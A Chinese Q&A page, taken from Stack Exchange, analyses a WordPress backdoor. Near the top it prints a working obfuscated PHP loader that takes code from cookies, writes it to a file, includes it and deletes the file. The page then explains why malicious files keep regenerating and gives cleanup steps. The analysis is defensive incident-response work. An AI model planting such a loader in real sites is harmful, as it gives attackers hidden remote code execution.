如何解码恶意PHP代码?WordPress恶意文件反复生成问题排查
WordPress恶意PHP代码分析与文件反复生成原因解析
待分析的恶意PHP代码
<?php $tM = ${"\137" . "\103\117\117\113" . "\111\105"}; if (isset($tM[(99 - 0)])) { $ScL = $tM[(88 - 8)] . $tM[(38 - 10)]; $skZ = $ScL($tM[(58 - 27)] . $tM[(44 - 33)]); $nTO = $skZ($ScL($tM[(98 - 1)])); $lvo = $skZ($ScL($tM[(71 - 19)])); $yJd = __DIR__ . $skZ($ScL($tM[(74 - 17)])); $nTO($yJd, $skZ($ScL($tM[(99 - 0)]))); include($yJd); $lvo($yJd); }
代码解码与作用解析
这段PHP代码通过八进制转义字符和COOKIE参数依赖实现隐蔽执行,核心逻辑拆解如下:
- 变量初始化:通过八进制转义字符拼接
_COOKIE,最终等价于$tM = $_COOKIE,直接读取当前请求的COOKIE数据。 - 触发条件:仅当COOKIE中存在键为
99(对应ASCII字符c)的参数时,才执行后续恶意逻辑。 - 动态构造执行链:
- 从COOKIE中读取两个参数拼接成解码函数
$ScL(常见为base64_decode)。 - 利用
$ScL解码COOKIE中其他参数,得到可执行函数$skZ(多为create_function或匿名函数)。
- 从COOKIE中读取两个参数拼接成解码函数
- 恶意文件操作:
- 进一步解码得到文件写入函数
$nTO(如file_put_contents)、文件删除函数$lvo(如unlink)以及目标文件路径$yJd。 - 将COOKIE中
c参数解码后的恶意内容写入$yJd指向的文件,随后包含执行该文件,最后删除文件(避免被直接发现)。
- 进一步解码得到文件写入函数
这段代码本质是一个动态加载器,自身无固定恶意逻辑,所有核心行为完全由攻击者通过COOKIE控制,可执行任意代码,扩展性极强。
文件反复生成的原因
结合你提到的Bricks情人节漏洞,文件反复生成的核心是后门持久化机制未彻底清除:
- 主题/插件植入后门:攻击者利用漏洞入侵后,会在WordPress主题的
functions.php、header.php或残留插件文件中植入循环触发代码,定期调用加载器或直接生成恶意文件。 - 数据库恶意注入:攻击者可能在
wp_options表(如siteurl字段)或文章内容中插入恶意代码片段,每次页面加载都会触发文件生成。 - 定时任务残留:漏洞利用后,攻击者可能添加了系统CRON任务或WordPress内置定时任务,周期性执行恶意脚本生成文件。
- 服务器深层后门:若服务器存在FTP/SSH弱口令等其他漏洞,攻击者可能已获取服务器权限,在系统目录植入WebShell或恶意服务,导致文件反复生成。
清理建议
- 全量校验WordPress文件:对比官方原版核心文件、主题、插件,删除所有可疑修改或未知文件,彻底清除未使用的插件/主题。
- 清理数据库恶意内容:导出
wp_options、wp_posts等核心表,搜索并清除可疑代码片段。 - 排查定时任务:检查服务器CRON列表和WordPress内置定时任务(可查看
wp_options表的cron字段),删除未知任务。 - 加固服务器权限:修改所有账户密码(FTP、SSH、WordPress后台),关闭不必要端口,启用防火墙规则。
内容的提问来源于stack exchange,提问作者MULTIMEDIAFABRIK 360ty world
相关产品推荐
相关产品推荐

